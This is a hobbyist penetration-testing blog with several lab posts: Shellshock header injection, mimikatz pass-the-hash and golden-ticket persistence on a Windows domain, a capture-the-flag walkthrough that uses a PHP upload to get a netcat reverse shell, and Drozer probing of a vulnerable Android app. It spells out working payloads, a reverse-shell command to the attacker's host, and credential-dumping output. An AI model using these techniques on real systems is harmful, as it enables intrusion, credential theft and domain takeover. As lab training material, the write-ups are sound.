Exploiting Shellshock - Pentesterlab.com

I like to keep my skills sharp, often, I find myself downloading VM from vulnhub.com but often I spend more time fixing or trying to get the VM running rather than actually practicing pentesting. Then, I found this site; www.pentesterlab.com. The material is very well organized with videos and explanation on solving each puzzle/challenge. I especially like the fact I can download the iso into my vmware and get it running without problems.

I'm working my way in the Essential lab at the moment, here is a sample exercise I got permission by Louis Nyffenegger to repost.

CVE-2014-6271/Shellshock

This is not a new vulnerability, it was reported some years back and it hit practically any Linux or Unix Operating System that was running bash. It is a simple vulnerability to exploit, you just need a web browser and an app proxy such as burp.

Here I am just going to give a summary of how to exploit a linux webserver running cgi app. Note, that shellshock exploit vector is not limited to web alone, it can be done via ssh, telnet, some cases ftp. For this example, we will inject the vuln code via the user-agent header. You will need to intercept the request and send it to a repeater:

As you can see, on the right pane indicates some json formatted output of a linux server uptime. Also, the uri is pointing to a 'status' script. This is a good indicator for shellshock exploitation. Let's try to injecting a simple code into the user-agent header:

() { :;}; /sbin/ifconfig

I tried other commands such as whoami, id but it nothing appeared, that is why it is important to test different commands and see which ones work. With positive visual from the ifconfig cmd, I will now try to use netcat to listen at port 1234 on the victim machine :) Always remember to test the command with simpler flags to check it's working. Thankfully, this was a Linux box and usually nc supports the '-e' flag, most bsd variants don't. The complete command I used is:

() { :;}; /usr/bin/nc -lvp 1234 -e /bin/bash

The fact that the righ pane didn't return any results is a good sign, it means that the victim machine is executing netcat. Time to connect to it:

There you go! For more great web pentesting exercises like this. Please visit my friend; Louis Nyffenegger awesome website @ www.pentesterlab.com

GitHub Gist

I have some scripts at github gist if anyone is interested. You may visit it here.

Windows Credential Attack - Part 2

In my last post, I wrote about passing the hash using standard mimikatz tool. For this installment, I will demonstrate how to pass the ticket (ptt) using the same tool. PTT is a technique of backdooring a Windows Domain Controller(DC) permanently. Several advantages of PTT has over passing the hash (pth) is that it is very difficult to remove PTT backdoor because it is tied to the KRBTGT account that is built into Active Directory (AD). It was designed to manage the Kerberos Distribution Center; an essential component of Microsoft's entire single sign-on ecosystem. Resetting it will not remove it, neither will reinstalling/promoting a new DC using the same domain objects. Hence, why the name, 'golden ticket' was given. It also comes with default 'Domain Admin' privileges and 10 years validity period!!! You virtually have full control of  the domain/forest, allowing you to manipulate any objects managed by the DC. Also, the userid created using this technique is not listed in the standard AD listing! You practically have God-like control over the entire enterprise domain!

In a nutshell, what I did was identify and dump the hash that identifies KRBTGT. Created a malicious ticket called 'hacker4' associating it with the corresponding sid/domain. After which, I saved it and transfered it to 'client-pc' using netcat and loaded in back into memory. I did a short video to demonstrate a simple technique using a windows client pc (client-pc) and a Windows 2008 Domain Controller (server-dc). The tough job is obtaining SYSTEM privilege on server-dc to run mimikatz which is out of scope of this post.

Summary of commands:

Steps On server-dc

privilege::debug
lsadump::lsa /inject /name:krbtgt
kerberos::golden /admin:hackerboy /domain:bubblegum.com /sid:S-1-5-21-4052271652-3634189325-3875401421 /krbtgt:409adfdd28b38f3decff6609fe0a19a1 
nc 10.0.0.234 1234 < ticket.kirbi

Steps On the client-pc

nc -nlpv 1234 > ticket.kirbi
kerberos::ptt ticket.kirbi
psexec64 \\server-dc cmd.exe
whoami /groups

P.O.C Recording



* Caveat: I recommend to create golden ticket with the same name as the admin on the DC. Psexec64.exe can't seem to pass the ticket when the user you created on the DC doesn't match the ticket after reboot.

kerberos::golden /admin:administrator /domain:bubblegum.com /sid:xxxxx /krbtgt:xxxx

Windows Credential Attack

I've been reading about lateral movement lately, how attackers take advantage of the Microsoft's Active Directory technology to create 'backdoors' upon successfully infiltrating the network. Much has been said and written about it and we all have heard about the dreaded APTs (Advance Persistent Threat). These guys are supposed to be state sponsored and amongst the best in the world.

In my opinion, it's alot of hype. Anyone, can be an APT. You don't need to be state sponsored to launch an attack or infiltrate corporate systems. All you need is a good Internet connection and the willingness to learn and explore. I always said, even a 16 year old can be a hacker. The thing that differentiates a state sponsored attacker and a kid are his motivations. State sponsored hackers are also assumed to have deeper pockets, so having 0-day exploits in your arsenal is a definite advantage. Anyway, I'll leave this argument for another post. For this entry, I will talk about Windows credential attack.

The scenario will be post exploitation. Meaning, after the attacker has gained administrative privilege of a host in your organization. Next move will be to gain further access into the network. In a typical Windows environment, most PCs will be authenticated via AD (Active Directory) in a Domain Controller(DC), the Kerberos auth protocol is used to assign a validation ticket to the authenticated host. With this ticket, the host will be able to access other authenticated hosts in the same domain. The hashes and tickets can be reused by calling it directly from the host memory, disk or in some cases, the DC directly. There have been various articles about abusing Windows credentials namely Kerberos, my post will focus on passing the hash. Maybe in my next article we can also talk about abusing Kerberos and creating golden tickets.

The NTLM hashes are encryted in memory. A common technique used is to pass the hash(pth) over to the other hos but mimikatz does a great job at using a built in MS API to decrypt these hashes. 

Lets say super duper hacker has gain admin rights on Betty's PC and her PC happen to be part of the bubblegum domain. She happens to be the domain admin for co bubblegum.com. How convenient ;) For simplicity, we assume that Betty's PC was already breached and the attacker has local admin privilege. We'll upload mimikatz. There are also various tools that can call mimikatz functions so you don't necessary have to use mimikatz because some AVs flag mimikatz. So, if you are using metasploit, the metepreter session can invoke mimikatz functions, if you are also keen on powershells, there's even powerSploit scripts to invoke mimikatz functions.

For this example I am keeping it simple.We are just going to dump the encrypted hashes and pth it to the DC using psexec.

Dumping Hashes

1. Running mimikatz, check your privilege, you must have admin privilege on the host:

2. Dump the hashes in mem by running 'sekurlsa::logonpasswords. You should see all passwd hashes in mem, even decrypted ones!

Authentication Id : 0 ; 1192637 (00000000:001232bd)
Session           : Interactive from 3
User Name         : Administrator
Domain            : WIN
Logon Server      : WIN
Logon Time        : 11/25/2017 2:54:07 PM
SID               : S-1-5-21-185860677-232557259-2993331253-500
        msv :
         [00010000] CredentialKeys
         * NTLM     : 9213b0c8fd855c4ec0267f303a376f31
         * SHA1     : 749b4dae3da83473b0491e9fab0bf151c932374a
         [00000003] Primary
         * Username : Administrator
         * Domain   : WIN
         * NTLM     : 9213b0c8fd855c4ec0267f303a376f31
         * SHA1     : 749b4dae3da83473b0491e9fab0bf151c932374a
        tspkg :
        wdigest :
         * Username : Administrator
         * Domain   : WIN
         * Password : !qwerty123
        kerberos :
         * Username : Administrator
         * Domain   : WIN
         * Password : (null)
        ssp :
        credman :


Authentication Id : 0 ; 1505847 (00000000:0016fa37)
Session           : Interactive from 1
User Name         : betty
Domain            : BUBBLEGUM
Logon Server      : WINDC01
Logon Time        : 11/25/2017 3:14:56 PM
SID               : S-1-5-21-185860677-232557259-2993331253-1000
        msv :
         [00000003] Primary
         * Username : betty
         * Domain   : BUBBLEGUM
         * NTLM     : 9213b0c8fd855c4ec0267f303a376f31
         * SHA1     : 749b4dae3da83473b0491e9fab0bf151c932374a
         [00010000] CredentialKeys
         * NTLM     : 9213b0c8fd855c4ec0267f303a376f31
         * SHA1     : 749b4dae3da83473b0491e9fab0bf151c932374a
        tspkg :
        wdigest :
         * Username : betty
         * Domain   : BUBBLEGUM
         * Password : !kldsljds
        kerberos :
         * Username : betty
         * Domain   : BUBBLEGUM.COM
         * Password : (null)
        ssp :
        credman :

<snip-------snip>

The above output shows 2  credentials, administrator and betty. Notice that the administrator domain is WIN and betty belongs to bubblegum.com. Our target is the bugglegum.com domain, and we happen to obtain the passwd in plain text!

Passing the Hash

3.  We would now like to pass the hash using betty's credentials using pth function built into mimikatz, if you see another cmd.exe prompt pop up, it means the credentials worked!

4. Now, let's try to pass this hash to the DC server from Betty's PC. I simply pass the hash dump from her PC to the DC. Remember, you'll need psexec.exe on Betty's PC. This can be downloaded from MS website, here. The command I issue on Betty's machine using mimikatz is:

sekurlsa::pth /user:betty /domain:bubblegum /ntlm:9213b0c8fd855c4ec0267f303a376f31 /run:".\psexec64.exe \\10.0.0.1 -h cmd.exe"

If the cmd.exe successfully executes, you should see a second prompt! Sometimes, this takes a while for psexec to spawn  cmd.exe so be patient.

Notice that psexec64.exe has executed cmd.exe and hostname and whoami cmds show that you are now on the DC as Betty. In my next article, I will cover how to dump the DC credentials and creating the golden ticket ;-)

Stay tuned folks!

Drunk Admin Challenge

Time for another VM ctf challenge, I often find difficulties finding a good boot to root VM, either the image is too slow to download, doesn't work, doesn't connect to the network, blah blah. Often or not, I find myself troubleshooting the VM than pentesting. I was lucky enough to get this challenge working on my vmware workstation. It is mainly an application pentest and was very educational experience. You can d/l the challenge from vulnhub.

1. Firstly, portscan the target. Found only 2 ports open, not much but usually http ports are gold mines! So if you see one, explore it immediately.

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 5.5p1 Debian 6+squeeze1 (protocol 2.0)
| ssh-hostkey: 
|   1024 57:a2:04:3d:6e:e5:01:7b:b4:c6:e5:f9:76:25:8a:8a (DSA)
|_  2048 66:9a:ee:a2:2a:1a:59:47:b9:c5:50:da:a6:96:76:16 (RSA)
8880/tcp open  http    Apache httpd 2.2.16 ((Debian))
|_http-server-header: Apache/2.2.16 (Debian)

2. Port 8880 reveals an image upload tool:

3. Explore it a bit to find that it accepts only image files for display and converts it into md5 hash, files are stored in the images directory as you can see from the image property dialog.

4. I tried to upload several canned php files but it got rejected. Fired up burpsuite to explore how the mechanism behind this rejection works, sent requests to the repeater.

5. Seems like we are able to trick it by extending the file twice! But any script (be it php, bash, nc, etc) will get rejected again! Seems like there is some backend code that filters certain key words from my script. Finally found a php code snippet that wasn't filtered, instead of using the usual $_GET statement, I used the $_REQUEST in php.

6.  From here, I can pass arguements directly into my php script. I decided to use netcat to reverse back to my host, luckily enough it supported the -e flag, most linux netcats do but not BSDs.

http://192.168.0.152:8880/images/178eaa4e889ab53ce844344ffc945171?cmd=nc%20-e%20/bin/bash%20192.168.0.115%201234

Remember to have a netcat listener on the other end waiting to catch your shell:

# nc -nlvp 1234
listening on [any] 1234 ...
connect to [192.168.0.115] from (UNKNOWN) [192.168.0.152] 53197
ls
178eaa4e889ab53ce844344ffc945171.php
1c2ef37a0744cfda7445d3b9fc19a79a.php
1e5608a13dcfe96b1d85a5de98db59d2.png
3208fd203ca8fdfa13bc98a4832c1396.gif
3df5758863d650e59525cf2aa0676230.png
4c68c46f43183b9789860c8a8d6cb5a0.php
72e334fc2377e9bdfa97d50bd4d14120.gif
7cb21b9ceb02fe655f8530fb8fa17338.png
8dc053a3ed0adf03994f96347d20d9e5.png
a764b0164c364725dc5b775d88bc6057.png
aa63b1c597b45e4f1f883724d0f8dfbe.jpg
d38dd53a79f0ce66874082df5a6978df.gif
index.html
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
pwd
/var/www/images
uname -a
Linux drunkadm 2.6.32-5-686 #1 SMP Mon Jan 16 16:04:25 UTC 2012 i686 GNU/Linux

7. I don't like half baked shells, fire up python tty spawn for a better shell, see pentestmonkey one liners.

python -c 'import pty;pty.spawn("/bin/bash")'
www-data@drunkadm:/var/www/images$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

8. Look around the system for the flag. Found a hidden proof.txt file.

www-data@drunkadm:/var/www$ cd /var/www/
cd /var/www/
www-data@drunkadm:/var/www$ ls -al
ls -al
total 48
drwxr-xr-x  4 root root     4096 Apr  2  2012 .
drwxr-xr-x 14 root root     4096 Mar  3  2012 ..
-rw-r--r--  1 root root      217 Mar  3  2012 .htaccess
-rw-r--r--  1 root root      322 Mar  6  2012 .proof
-rw-r--r--  1 root root     2683 Mar  7  2012 image.php
drwxrwxr-x  2 root www-data 4096 Sep  9 18:28 images
-rw-r--r--  1 root root     1981 Mar  4  2012 index.php

9. This file is a little conversation between bob and someone, there's an encoded text too, looks like base64 encoded.

www-data@drunkadm:/var/www$ cat .proof
cat .proof
#########################
# Drunk Admin Challenge #
#     by @anestisb #
#########################

bob> Great work.
bob> Meet me there.
...> ?
bob> What? You don't know where?
bob> Work a little more your post
     exploitation skills.

Secret Code:
TGglMUxecjJDSDclN1Ej

Mail me your methods at:
anestis@bechtsoudis.com

10. Lets decode it:

# echo "TGglMUxecjJDSDclN1Ej" | base64 -d
Lh%1L^r2CH7%7Q#

11. Poked around bob's home directory to find an encrypt.php page! Insert the decoded msg for the final output:

Alice, prepare for a kinky night. Meet me at '35.517286' '24.017637'

Well, this was a good challenge. Lots of people have solved this puzzle before me. I have to admit, I had some help from their walkthrus but never the less, it was an educational experience for me.

Android Pen Test Part II

This is part II of my walkthru of pentesting Android Apps using Drozer. In case you haven't read the first part, here. Please go thru it as I had covered how to connect the emulator or Android device to a host with the use of adb. The idea of using Drozer is to test the IPC processes between apps, akin to testing east and west communications. Much of my walkthru was taken from the Drozer user guide, here. My intention of documenting it is for my reference and document some idea of how basic dynamic analysis is performed on Android apps.

1. Download Sieve apk
2. Install Drozer agent on the device or emulator
3. Install Sieve and configure some passwords
4. Start Drozer agent
5.  List devices that are connected, emulator or physical device:
# adb devices
List of devices attached
G6AZCY03R9063SF    device

6. Fwd the connection from device to host 
# adb forward tcp:31415 tcp:31415

7. Start Drover server
# drozer console connect
Selecting 71cf13dc4e2c532c (asus ASUS_Z012D 7.0)

            ..                    ..:.
           ..o..                  .r..
            ..a..  . ....... .  ..nd
              ro..idsnemesisand..pr
              .otectorandroidsneme.
           .,sisandprotectorandroids+.
         ..nemesisandprotectorandroidsn:.
        .emesisandprotectorandroidsnemes..
      ..isandp,..,rotectorandro,..,idsnem.
      .isisandp..rotectorandroid..snemisis.
      ,andprotectorandroidsnemisisandprotec.
     .torandroidsnemesisandprotectorandroid.
     .snemisisandprotectorandroidsnemesisan:
     .dprotectorandroidsnemesisandprotector.

drozer Console (v2.3.4)
dz>

7. Check for pakage sieve:
dz> run app.package.list -f sieve
com.mwr.example.sieve (Sieve)

8.  Check package info:
dz> run app.package.info -a com.mwr.example.sieve
Package: com.mwr.example.sieve
  Application Label: Sieve
  Process Name: com.mwr.example.sieve
  Version: 1.0
  Data Directory: /data/user/0/com.mwr.example.sieve
  APK Path: /data/app/com.mwr.example.sieve-1/base.apk
  UID: 10199
  GID: [3003]
  Shared Libraries: null
  Shared User ID: null
  Uses Permissions:
  - android.permission.READ_EXTERNAL_STORAGE
  - android.permission.WRITE_EXTERNAL_STORAGE
  - android.permission.INTERNET
  Defines Permissions:
  - com.mwr.example.sieve.READ_KEYS
  - com.mwr.example.sieve.WRITE_KEYS

9. Check the attack surface:
dz> run app.package.attacksurface com.mwr.example.sieve
Attack Surface:
  3 activities exported
  0 broadcast receivers exported
  2 content providers exported
  2 services exported
    is debuggable

Now, the activities are the pages available on the app. The Broadcast is the advertised msg that sieve sends to other apps, the content is basically the database and the sevices are the background functions by this app. Debugable is good news since it means we can step thru the code once adb is attached.

10. Check the type of activities that are exportable:
dz> run app.activity.info -a com.mwr.example.sieve
Package: com.mwr.example.sieve
  com.mwr.example.sieve.FileSelectActivity
    Permission: null
  com.mwr.example.sieve.MainLoginActivity
    Permission: null
  com.mwr.example.sieve.PWList
    Permission: null

11. Looks like the PWList can be exported!! Lets try and start it:
dz> run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList

12. On the emulator, you should see the screen pop up with the PWList page!

13. Now, time to probe the database! Lets see what we can find in the exported content using Drozer scanner:
dz> run scanner.provider.finduris -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Unable to Query  content://com.mwr.example.sieve.DBContentProvider/
Unable to Query  content://com.mwr.example.sieve.FileBackupProvider/
Unable to Query  content://com.mwr.example.sieve.DBContentProvider
Able to Query    content://com.mwr.example.sieve.DBContentProvider/Passwords/
Able to Query    content://com.mwr.example.sieve.DBContentProvider/Keys/
Unable to Query  content://com.mwr.example.sieve.FileBackupProvider
Able to Query    content://com.mwr.example.sieve.DBContentProvider/Passwords
Unable to Query  content://com.mwr.example.sieve.DBContentProvider/Keys

Accessible content URIs:
  content://com.mwr.example.sieve.DBContentProvider/Keys/
  content://com.mwr.example.sieve.DBContentProvider/Passwords
  content://com.mwr.example.sieve.DBContentProvider/Passwords/

14. Looks like there are 3 accessible contents:
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords
| _id | service   | username  | password                                                  | email                  |
| 1   | maybank2u | johnlee   | MaKVa1uGBpBHMFcRAdm8m1iXBUHVOmxYjCchfQ== (Base64-encoded) |                        |
| 2   | ambank    | saralee   | Nu7NYGzevKQflz3Mb6Ul/XKEpnyPHlcjqhM= (Base64-encoded)     | saralee@fee.com        |
| 3   | yahoomail | tasha.fox | ysG1+0SFpdMpwJ/nCVBci+T9bX/+mA== (Base64-encoded)         | tasha.fox@yahoo.com.my |

15. Using base 64 decoder, you should be able to decode those passwords easily.

16. Lets look for sql injection vulnerabilities in the db:

dz> run scanner.provider.injection -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Not Vulnerable:
  content://com.mwr.example.sieve.DBContentProvider/Keys
  content://com.mwr.example.sieve.DBContentProvider/
  content://com.mwr.example.sieve.FileBackupProvider/
  content://com.mwr.example.sieve.DBContentProvider
  content://com.mwr.example.sieve.FileBackupProvider

Injection in Projection:
  content://com.mwr.example.sieve.DBContentProvider/Keys/
  content://com.mwr.example.sieve.DBContentProvider/Passwords
  content://com.mwr.example.sieve.DBContentProvider/Passwords/

Injection in Selection:
  content://com.mwr.example.sieve.DBContentProvider/Keys/
  content://com.mwr.example.sieve.DBContentProvider/Passwords
  content://com.mwr.example.sieve.DBContentProvider/Passwords/

17. From here, you can use the app.provider.query to perform SQLi. Most of these steps are outline in the Drozer user guide.

The above steps represent a summary walkthru of using Drozer to test inter processes communication (IPC) between apps. It is merely a small slice of the application pen test suit. There are other vulnerable apps out there for educational purposes such as GoatDroid for those that are interested to pursue it further. Also, check out OWASP Mobile Security Testing Guide.

In part 3, I will cover another method of pentesting. This time I will attempt to use an application proxy such as Burp to intercept http requests to dissect client server communication.

Android Penetration Testing - Part 1

Mobile apps are all the rage these days! People are using mobile apps for everything from banking to transferring money to finding dates online. The security aspect of these apps is still in its infancy. Where most pentesters are accustomed to hacking web apps, mobile apps are rather unique in a way because the Android OS is built differently than a PC OS. The highly sandboxed environment enables virtualization of any apps that run on it. Thus, each app is protected and has limited access to the underlying hardware abstract layer. In my 3 part series, I will approach hacking Android mobile apps by first introducing the adb connector and running an emulated version of Android. In my next series, I will run thru the steps of using drozer to do dynamic analysis using a vulnerable app for practice.

Pentesting mobile apps on Android Operating System requires you to interact directly with the mobile device or via an emulator. The adb (android debugger bridge) utility allows you to do just that, it is included in the android-sdk package on Linux. You can download it here or run:

# apt-get install android-sdk

The adb command is in the ~/android-sdk/platform-tools/ directory, you can just do a:

# ln -s ~/android-sdk/platform-tools/adb /usr/local/bin/adb

Once you have it installed, run the command:

# adb
Android Debug Bridge version 1.0.39
Revision 3db08f2c6889-android
Installed as /mnt/sdb3/android-sdk/platform-tools/adb

global options:
....
....

Now, you have 2 options:

1. Run the Android SDK Android Virtual Device Manager(AVD) to emulate a virtual Android device on your PC.
OR
2. Plug your phone directly into the PC with a usb cable.

Since I don't wanna screw my real device up, I'll opt for the emulator option, that way any mistake I make, I can just revert the emulator. It's sort of like running a Virtual Machine for Androids. 

The AVD is in the ~/android-sdk/tools/android. Just symbolic link it to your /usr/local/bin for convenience.

# ln -s ~/android-sdk/tools/android /usr/local/bin/android

Now execute 'android':

Next, make sure you install the required Android API, eg if you intend to create an Andoird 4.4.2 (API 19), check it and install.

Create your Virtual Device and select the appropriate settings:

Your Android Virtual Device should look like this:

Now, it is time to connect to this emulator via adb. Take note of the port assigned, in this case 5554. You are going to use adb to connect to it

Follow these instructions:

1. Enable USB Debugging on the emulator, just like you would do on a real device, go to settings, tap on build no 5 times then go to developer settings and check usb debugging.

2. Use adb to list the devices ready:
# adb devices
List of devices attached
emulator-5554    device

This means you are connected to the Android emulator! In my next article, we will cover how to use Drozer to start the penetration test on a vulnerable app.

Happy hacking folks! :-)